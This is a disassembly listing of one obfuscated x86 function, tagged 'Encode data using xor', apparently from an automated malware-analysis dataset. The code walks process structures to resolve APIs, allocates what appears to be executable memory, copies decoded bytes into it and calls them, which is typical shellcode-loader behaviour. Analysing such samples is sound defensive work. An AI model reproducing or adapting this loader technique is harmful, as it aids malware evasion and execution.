Function at 0x4799d0
Capabilities:
Encode data using xor

Disassembly:
xor ecx, ecx
add ecx, edi
push ecx
pop eax
mov edx, 0xfffffffc
add esp, edx
mov dword [esp], eax
mov edi, 0x6c0ecd60
mov eax, 0x93f1329c
xor edi, eax
add esp, edi
mov eax, 0x644f3a8f
mov ecx, 0x644f3a8f
xor ecx, eax
xor ecx, esp
mov dword [ecx], esi
sub esi, esi
add esi, ebx
mov edi, 0x1f92bb14
mov ecx, 0xe06d44e8
xor edi, ecx
add esp, edi
mov dword [esp], esi
mov esi, 0x41393309
mov ecx, 0x80c000
xor esi, ecx
push esi
mov ecx, 0x72679b9e
xor ecx, 0x23bae2ea
push ecx
mov edi, 0x10008861
mov ecx, 0x640204
xor edi, ecx
pop eax
xor edi, eax
mov eax, esp
dec eax
mov ebx, dword [eax + 1]
mov ecx, 4
add esp, ecx
xor edi, ebx
mov eax, dword fs:[edi]
mov ebx, 0x15896362
xor ebx, 0x15896362
push 0x1f7c57f8
mov ecx, 0x1f7c57c8
pop edx
xor ecx, edx
xor ebx, ecx
add eax, ebx
xor edx, edx
add edx, eax
mov esi, 0xda2c22
xor esi, 0xda2c05
add edx, esi
mov edi, 1
sub edx, edi
mov ecx, dword [edx - 0x26]
mov ebx, 0x4108f15a
xor ebx, 0x3f99044d
mov esi, 0xfd56519b
xor ebx, esi
xor ebx, 0x7c385b78
sub ecx, ebx
sub eax, eax
add eax, ecx
mov edx, 1
sub eax, edx
mov ebx, dword [eax + 1]
mov ecx, 0x3126d4c2
add ecx, 0xf8e7d1e9
mov edx, ecx
xor edx, 0xffffffff
and edx, 0x2a0ea6a7
and ecx, 0xd5f15958
or ecx, edx
add ebx, ecx
sub eax, eax
add eax, ebx
mov edx, 0x1365f299
mov ecx, 0x1365f29d
xor ecx, edx
sub esp, ecx
mov dword [esp], eax
mov edx, esp
xchg edx, ecx
mov eax, 0xffffffb1
sub ecx, eax
mov ebx, dword [ecx - 0x4f]
mov edx, 0x3ce4fb96
mov ecx, 0x3ce4fb92
xor ecx, edx
add esp, ecx
sub edi, edi
add edi, ebx
push 0xe25c5c32
mov eax, 0x1da3a3ce
pop edx
xor eax, edx
add esp, eax
mov dword [esp], edi
push ebx
pop esi
xchg esi, edx
push 0xb4af1773
mov edi, 0x4b50e8b1
pop esi
xor edi, esi
sub edx, edi
mov ecx, dword [edx - 0x3e]
push ecx
pop edi
xchg ebx, edi
mov edi, 0x1605da29
add edi, 0xe9fa25f4
add ebx, edi
mov edx, dword [ebx - 0x1d]
mov eax, 0x1324d138
mov esi, 0x54164abe
xor esi, eax
mov ecx, 0xb8cd6452
xor esi, ecx
sub edx, esi
sub ebx, ebx
add ebx, edx
mov eax, 0x3828e7bc
xor eax, 0xc7d71843
add ebx, eax
mov esi, dword [ebx + 1]
and esi, 0xffff
xor esi, 0x18
xor edi, edi
add edi, esi
and edi, edi
jne 0x479d59
mov edi, 0xcf8acda
xor edi, 0x229b8e59
mov esi, 0xa402087
mov eax, 0x24230200
xor esi, eax
xor esi, edi
add edx, esi
mov edi, edx
mov ecx, 1
sub edi, ecx
mov esi, dword [edi + 1]
add esp, 0xfffffffc
mov eax, esp
mov dword [eax], esi
mov edi, dword [esp]
sub esp, 0xfffffffc
xor eax, eax
add eax, edi
mov ebx, eax
push ebx
mov eax, dword [esi]
and eax, 0xff
push 0xfb9786a
mov edx, 0x19f9bc6a
pop ecx
xor edx, ecx
mov ebx, 0x40100080
mov esi, 0x20820812
xor ebx, esi
xor edx, ebx
xor eax, edx
push eax
pop esi
mov ecx, 0xffffffff
xor esi, ecx
and esi, 0x76d2ccf9
and eax, 0x892d3306
or eax, esi
mov ebx, 0x3cd5c6f8
xor ebx, 0x11b9d2bf
add esp, 0xfffffffc
mov dword [esp], ebx
push 0x4d25b355
mov edi, 0x6049a712
pop ecx
xor edi, ecx
mov edx, dword [esp]
add esp, 4
xor edi, edx
xor edi, eax
sub edi, 0
je 0x479c64
xor al, 0x20
mov esi, 0x6ae67680
mov ebx, 0x3e906059
xor ebx, esi
push 0x6567a977
mov edx, 0x3111bfae
pop ecx
xor edx, ecx
xor edx, ebx
xor edx, eax
and edx, eax
jne 0x479d58
pop edi
mov esi, 0x1747785b
mov edx, 0x30af6160
xor edx, esi
mov ecx, 0x27e81941
sub edx, ecx
sub edi, edx
sub ecx, ecx
add ecx, edi
mov edx, 0
xor edx, ecx
mov esi, edx
sub esp, 4
mov dword [esp], esi
xor edx, edx
add edx, edi
mov ecx, edx
mov eax, 0xffffffff
add ecx, eax
mov eax, 2
sub ecx, eax
push 0xaa580fce
mov edx, 0x55a7f031
pop eax
xor edx, eax
add ecx, edx
mov esi, dword [ecx + 4]
and esi, 0xff
xor esi, 0x4e
cmp esi, 0
je 0x479cd7
xor esi, 0x20
cmp esi, 0
jne 0x479d58
mov edx, dword [esp]
mov edi, 0x3d731dbe
add edi, 0xc28ce246
add esp, edi
mov ecx, 0x95f3d1d2
add ecx, 0x7b
push ecx
mov esi, 0x620c0823
mov ebx, 0x8002594
xor esi, ebx
mov eax, dword [esp]
sub esp, 0xfffffffc
xor esi, eax
sub edx, esi
sub eax, eax
add eax, edx
mov edi, 0x48
mov ebx, 3
xor edi, ebx
add eax, edi
mov ecx, 0xffffffff
add eax, ecx
mov esi, dword [eax - 0x4a]
sub edx, edx
add edx, esi
push 0x85aebd61
mov edi, 0x7a51429e
pop eax
xor edi, eax
xor edx, edi
and edx, 0x320033
and esi, 0xffcdffcc
or esi, edx
test esi, esi
je 0x479d76
jmp 0x479d59
pop edi
pop eax
mov edx, dword [eax]
mov ebx, 0x6d1b1134
mov ecx, 0x92e4eec8
xor ebx, ecx
add esp, ebx
sub eax, eax
add eax, esp
mov dword [eax], edx
jmp 0x479af4
mov esi, esp
mov ecx, 0xffffffff
add esi, ecx
mov ebx, dword [esi + 1]
mov eax, 0x56a48b70
mov edx, 0xa95b748c
xor eax, edx
sub esp, eax
mov esi, ebx
xchg edx, esi
mov esi, edx
mov eax, esi
push 0x4045c2d1
mov esi, 0x4045c2d0
pop edx
xor esi, edx
sub eax, esi
mov ecx, dword [eax + 1]
mov edx, dword [ecx]
mov ecx, 0x1a6ae893
xor ecx, 0xa4d2fb3
mov ebx, 0x388e8014
xor ebx, 0xd756b8dc
xor ecx, ebx
sub edx, ecx
add esp, 0xfffffffc
mov eax, esp
mov dword [eax], edx
mov esi, dword [esp]
sub esp, 0xfffffffc
mov edi, 0xffffffff
add esi, edi
mov ecx, dword [esi + 1]
mov edx, 0x28dc6824
mov esi, 0xd72397d8
xor edx, esi
add esp, edx
mov ebx, esp
mov dword [ebx], ecx
push ecx
pop edi
xchg edi, esi
xor edi, edi
add edi, esi
xor edx, edx
add edx, edi
mov edi, 0x3b26e296
mov ecx, 0x853d42b
xor ecx, edi
mov eax, 0xcc8ac979
xor ecx, eax
sub edx, ecx
mov ecx, edx
push ecx
pop ebx
mov ecx, 0xbbab261
xor ecx, 0xf4454d9e
add ebx, ecx
mov eax, dword [ebx + 1]
mov ecx, esp
push 0x8946aadd
mov ebx, 0x76b95522
pop edx
xor ebx, edx
add ecx, ebx
mov edi, dword [ecx + 1]
add eax, edi
mov ebx, 0x6f93c884
add ebx, 0x906c37dc
mov edi, 0x3bf6713e
xor edi, 0x3bf67126
xor ebx, edi
add eax, ebx
mov ecx, 0x130f7e87
add ecx, 0xecf08179
xor ecx, eax
mov ebx, 1
sub ecx, ebx
mov eax, dword [ecx + 1]
mov esi, esp
mov edi, esi
xchg edi, edx
mov edi, 0xcdc74e8
xor edi, 0xf3238b29
sub edx, edi
mov ecx, 0x6f7f0b83
mov esi, 0x9080f47c
xor ecx, esi
add edx, ecx
mov ebx, dword [edx - 0x3e]
add eax, ebx
push 0x3fb3ece5
mov esi, 0x1dd576e5
pop ebx
xor esi, ebx
mov edi, 0x20bf4309
add edi, 0xbcda22d7
xor esi, edi
sub eax, esi
push 0x943bd425
mov edi, 0x133d7544
pop edx
xor edi, edx
push edi
mov ebx, 0x18262670
xor ebx, 0x18ef34f9
mov edx, 0x1a8230fd
xor edx, 0x62b27ce9
xor ebx, edx
pop ecx
xor ebx, ecx
add ebx, eax
mov ecx, 0x59b17488
mov edx, 0x59b17488
xor edx, ecx
xor edx, ebx
mov esi, 0x5e6d5d2e
mov ecx, 0x5e6d5d39
xor ecx, esi
sub edx, ecx
mov ebx, dword [edx + 0x17]
sub edx, edx
add edx, esp
push 0xdc98ec06
mov esi, 0x236713fe
pop edi
xor esi, edi
sub edx, esi
mov esi, 0xffffffff
add edx, esi
mov ecx, dword [edx - 7]
add ebx, ecx
mov edx, 0x21504a56
xor edx, 0xdeafb5aa
add esp, edx
mov edx, esp
mov ecx, edx
xchg esi, ecx
mov dword [esi], ebx
mov edx, 0
mov ecx, 0
xor edx, ecx
mov ebx, 0x7aec8a99
add ebx, 0x85137567
xor edx, ebx
mov esi, 0x45cf506
xor esi, 0x45cf502
mov ecx, 0x2c8bbfde
xor ecx, 0x2c8bbfde
xor esi, ecx
xor edx, esi
add edx, eax
xor ecx, ecx
add ecx, edx
xchg ecx, ebx
mov edi, 0x59a946d4
mov esi, 0xa656b922
xor edi, esi
sub ebx, edi
mov edx, dword [ebx - 0xa]
mov ebx, dword [esp + 4]
add edx, ebx
push 0x2794100a
mov edi, 0x2794100e
pop esi
xor edi, esi
sub esp, edi
mov esi, esp
mov ecx, esi
mov dword [ecx], edx
mov ebx, eax
add esp, 0xfffffffc
mov dword [esp], ebx
pop esi
dec esi
mov eax, dword [esi + 1]
mov ebx, dword [esp + 8]
add eax, ebx
mov ebx, dword [eax]
mov ecx, dword [esp + 8]
add ebx, ecx
mov ecx, 0x6b665ebd
add ecx, 0xde8e9149
mov edx, 0xb60b0fff
add ecx, edx
add ebx, ecx
push ebx
pop ecx
mov esi, 0
xor esi, ecx
mov edx, 0x2d1bd999
mov ecx, 0x2d1bd9b4
xor ecx, edx
sub esi, ecx
mov edi, 0
mov ecx, 1
xor edi, ecx
sub esi, edi
mov ebx, dword [esi + 0x2e]
mov ecx, 0x779d0a4e
xor ecx, 0x3f64010f
push ecx
mov edi, 0x1104013b
mov ecx, 0x40407804
xor edi, ecx
pop esi
xor edi, esi
xor ebx, edi
push 0x6cd44dec
mov ecx, 0x11285cfd
pop edx
xor ecx, edx
xor ebx, ecx
mov edi, ebx
xchg edx, edi
sub esp, 4
mov ecx, esp
mov dword [ecx], edx
mov ecx, esp
add ecx, 0xffffff8d
dec ecx
mov esi, dword [ecx + 0x74]
mov ecx, 4
add esp, ecx
or esi, 0
je 0x47a0b7
mov ebx, 0x36330674
xor ebx, 0x299ac259
mov ecx, 0xe0563bd7
add ebx, ecx
add eax, ebx
pop edi
mov ecx, 0x2eebf4c
xor ecx, 0x8231cb72
push ecx
mov esi, 0x5e89de11
add esi, 0x2096adaf
pop ebx
xor esi, ebx
sub edi, esi
mov ebx, 0x4f48c223
xor ebx, 0xb0b73ddf
add esp, ebx
mov esi, 0x159b2769
mov edx, 0x159b2769
xor edx, esi
xor edx, esp
mov dword [edx], edi
jmp 0x479fbe
pop esi
xor edi, edi
add edi, esi
mov eax, 0x2c5dbae8
mov ecx, 0x2c5dbaef
xor ecx, eax
sub edi, ecx
mov edx, 0x2ed79a84
add edx, 0xd128657b
add edi, edx
mov esi, dword [edi + 8]
and esi, 0xffff
add esi, esi
mov eax, 4
sub esp, eax
mov edi, 0
xor edi, esp
mov dword [edi], esi
pop ecx
add esi, ecx
pop eax
add eax, esi
mov ecx, eax
xchg ecx, esi
mov ebx, 0
xor ebx, esi
push 0xf1c3a54f
mov ecx, 0xe3c5ab0
pop edx
xor ecx, edx
add ebx, ecx
mov eax, dword [ebx + 1]
mov edx, 0
xor edx, esp
mov esi, 0xfffffffb
add edx, esi
mov esi, 1
sub edx, esi
mov ecx, dword [edx + 6]
mov esi, 0x1f955823
mov edx, 0xe06aa7df
xor edx, esi
sub esp, edx
add eax, ecx
mov edx, 0x6f3cee08
mov esi, 0x90c311f4
xor edx, esi
add esp, edx
mov edx, esp
push edx
pop ebx
mov dword [ebx], eax
mov edx, 0x4851a00
mov ebx, 0xe8008500
xor edx, ebx
push edx
mov edx, 0x51e25d6a
xor edx, 0x109b2f0b
push edx
mov edi, 0x3dcf3cc7
xor edi, 0x4fad558b
push edi
push 0x25963fe4
mov edx, 0x41f750a8
pop edi
xor edx, edi
push edx
mov edx, esp
mov esi, edx
xchg esi, ebx
mov edi, 0x1a0d69e5
add edi, 0xe5f29617
add esp, edi
mov dword [esp], ebx
mov edx, 0
mov esi, 0
xor edx, esi
xor edx, ecx
push edx
pop ebx
mov esi, ebx
add esp, 0xfffffffc
mov dword [esp], esi
call eax
mov edx, 0x4022d1d0
xor edx, 0x7cd9e82f
mov edi, 0x7d3b3b8e
mov esi, 0xbe3ffd81
xor esi, edi
xor esi, edx
sub esp, esi
mov ebx, eax
push ebx
pop esi
mov edx, 0x89fc7b9
xor edx, 0xf7603845
add esp, edx
mov dword [esp], esi
call fcn.0047a6a5
push 0x16156be
mov ebx, 0x1fd181fe
pop esi
xor ebx, esi
mov ecx, 0x174b4813
xor ebx, ecx
xor ebx, 0x9fb9f51
add edi, ebx
mov ecx, 0x4e7a9653
add ecx, 0xb18569b1
sub esp, ecx
sub ebx, ebx
add ebx, esp
mov dword [ebx], edi
push 0xa28f6255
mov ebx, 0x72f1b555
pop ecx
xor ebx, ecx
push ebx
push 0x5824d8b5
mov ebx, 0x3b4bb4d9
pop edi
xor ebx, edi
push ebx
push 0xcde9d03
mov ecx, 0x4db2fc76
pop ebx
xor ecx, ebx
push ecx
mov edx, 0x74726893
add edx, 0xc3
push edx
mov ebx, 0x66ceb27f
xor ebx, 0xeb70b87f
add esp, 0xfffffffc
mov dword [esp], ebx
push 0x5930cac1
mov esi, 0x6b03a6a4
pop edi
xor esi, edi
push esi
mov ebx, 0x481fe4f1
xor ebx, 0x266d81ba
push ebx
mov edi, dword [esp + 0x20]
mov ebx, esp
mov ecx, 0
xor ecx, ebx
mov esi, ecx
sub esp, 4
mov dword [esp], esi
call edi
push 0x10ad3c96
mov edx, 0x10d6b72b
pop esi
xor edx, esi
mov ebx, 0x445781a1
mov ecx, 0xbbd3f5e8
xor ecx, ebx
xor ecx, edx
sub esp, ecx
mov ebx, esp
push ebx
pop edi
mov ebx, 0x6e8a2d65
xor ebx, 0x6e8a2d61
sub esp, ebx
mov dword [esp], edi
mov ebx, 0
xor ebx, eax
mov edx, ebx
xchg ecx, edx
mov edx, 4
sub esp, edx
mov ebx, 0
xor ebx, esp
mov dword [ebx], ecx
mov edi, dword [esp + 0x20]
call edi
mov ecx, 0x1e2771f
xor ecx, 0x20e7c8f
mov edi, 0x3ec0b80
xor ecx, edi
add esp, ecx
mov edi, 0xffffffcd
add edi, 0x73
push edi
mov esi, 0xf81
add esi, 0x7f
push esi
mov ecx, 0x25b7fc28
xor ecx, 0x25b6da5b
sub esp, 4
mov dword [esp], ecx
mov ebx, 0
mov ecx, 0
xor ebx, ecx
push ebx
call eax
pop edx
mov ebx, eax
xchg edi, ebx
push 0x3fc1a671
mov esi, 0x3fc1a671
pop ebx
xor esi, ebx
xor esi, edi
sub ebx, ebx
add ebx, esi
mov edi, 0x3078ff34
add edi, 0xcf8700c8
add esp, edi
mov dword [esp], ebx
sub ecx, ecx
add ecx, edx
mov edi, 0xd008462
mov ebx, 0xf2ff7b9e
xor ebx, edi
add esp, ebx
mov dword [esp], ecx
mov edi, 0x72f39946
add edi, 0x8d0c67ba
mov ebx, 0x427812a4
mov eax, 0x427812a4
xor eax, ebx
xor edi, eax
add edx, edi
mov edi, 0x1258f
add edi, 0xda
push edi
mov bl, byte [edx]
mov byte [esi], bl
mov ebx, 0x7b0547e
mov eax, 0x73bac669
xor eax, ebx
push 0x32397c84
mov edi, 0x4633ee92
pop ebx
xor edi, ebx
xor edi, eax
add edx, edi
push 0xb1f65cd6
mov edi, 0x2028c9fc
pop ecx
xor edi, ecx
push edi
mov eax, 0xc212201
mov edi, 0x620048d4
xor eax, edi
mov ebx, dword [esp]
add esp, 4
xor eax, ebx
sub esi, eax
pop ecx
mov edi, 0x15b2c000
xor edi, 0x139ad185
add esp, 0xfffffffc
mov dword [esp], edi
mov eax, 0x2280180
mov edi, 0x4001004
xor eax, edi
mov ebx, dword [esp]
sub esp, 0xfffffffc
xor eax, ebx
sub ecx, eax
mov ebx, ecx
mov eax, ebx
xor edi, edi
add edi, eax
push 0xaca3c213
mov eax, 0x535c3def
pop ebx
xor eax, ebx
add esp, eax
mov dword [esp], edi
xor edi, edi
add edi, ecx
xor edi, 0
jne 0x47a3ba
mov esi, dword [esp]
mov ebx, 0x2c412a57
mov edi, 0x2c412a53
xor edi, ebx
add esp, edi
mov eax, 0x67587cfc
add eax, 0x4f
push eax
mov edi, 0x601380b
mov eax, 0x18680104
xor edi, eax
push edi
mov ecx, 0x31104001
mov edi, 0x4820222c
xor ecx, edi
mov esi, dword [esp]
add esp, 4
xor ecx, esi
mov esi, esp
sub esi, 0x23
mov edx, dword [esi + 0x23]
mov edi, 4
add esp, edi
xor ecx, edx
mov esi, esp
mov edx, esi
add edx, 0xffffffff
mov eax, dword [edx + 1]
mov edi, 0
sub esp, edi
mov edi, 4
add esp, edi
xor esi, esi
add esi, esp
mov ebx, 0x1c
add esi, ebx
mov edx, dword [esi - 0x1c]
push 0xa42d72cd
mov esi, 0x5bd28d31
pop edi
xor esi, edi
sub esp, esi
mov ebx, 0xffffbc08
sub edx, ebx
mov edi, 0x3424
add edx, edi
mov ebx, 0x25bc5cff
xor ebx, 0x25bcf2b3
add edx, ebx
sub esi, esi
add esi, ecx
mov edi, 4
sub esp, edi
xor ebx, ebx
add ebx, esp
mov dword [ebx], esi
xor edi, edi
add edi, eax
xor esi, esi
add esi, edi
push 0xd37ade9
mov edi, 0xd37aded
pop ebx
xor edi, ebx
sub esp, edi
mov dword [esp], esi
mov edi, edx
push edi
mov esi, dword [esp]
add esp, 4
mov edi, 0x12279553
mov ebx, 0x12279557
xor ebx, edi
sub esp, ebx
mov dword [esp], esi
sub ecx, ecx
mov cl, byte [edx]
add eax, ecx
mov cl, byte [eax]
pop edx
xor esi, esi
add esi, esp
mov edi, 0x42
add esi, edi
mov ebx, 1
sub esi, ebx
mov eax, dword [esi - 0x41]
mov ebx, 0x4e385f76
add ebx, 0xb1c7a086
sub esp, ebx
mov byte [edx], cl
mov esi, 0x23040a51
mov ebx, 0x4cc1d402
xor esi, ebx
mov edi, esi
xor edi, 0xffffffff
and edi, 0x903a21ac
and esi, 0x6fc5de53
or esi, edi
add edx, esi
pop ecx
mov ebx, 1
mov esi, 0
xor ebx, esi
sub ecx, ebx
cmp ecx, 0
jne 0x47a4fe
mov esi, 0x5181aa03
xor esi, 0x7d34155d
mov ebx, 0x6ca66949
add ebx, 0xc00f5616
xor ebx, esi
add edx, ebx
mov eax, edx
push eax
pop ebx
mov esi, 0
mov edi, 4
xor esi, edi
sub esp, esi
mov dword [esp], ebx
pop eax
call eax
push 0x42eeb248
mov eax, 0x46aaf79
pop edx
xor eax, edx
mov ecx, 0x4d631865
add ecx, 0xfe0db389
mov edx, 0x32704b6c
sub ecx, edx
xor eax, ecx
mov edx, esp
xchg edx, ecx
mov edx, 0x75
sub ecx, edx
mov eax, 0xffffffff
add ecx, eax
mov ebx, dword [ecx + 0x76]
mov ecx, 0x2239409d
mov eax, 0x22394099
xor eax, ecx
add esp, eax
mov edx, 0x4b4e4b47
xor edx, 0x120c3468
push edx
mov edx, 0x5cb7ab6d
mov eax, 0x1a61156c
xor eax, edx
pop ecx
xor eax, ecx
pop esi
push 0x62c72485
mov ecx, 0x4c4805c5
pop eax
xor ecx, eax
push 0x105dda82
mov edx, 0x115d121b
pop eax
xor edx, eax
xor ecx, edx
mov edi, dword [esp]
mov eax, 0
mov ecx, 4
xor eax, ecx
add esp, eax
lea esp, [esp + 4]
jmp dword [esp - 4]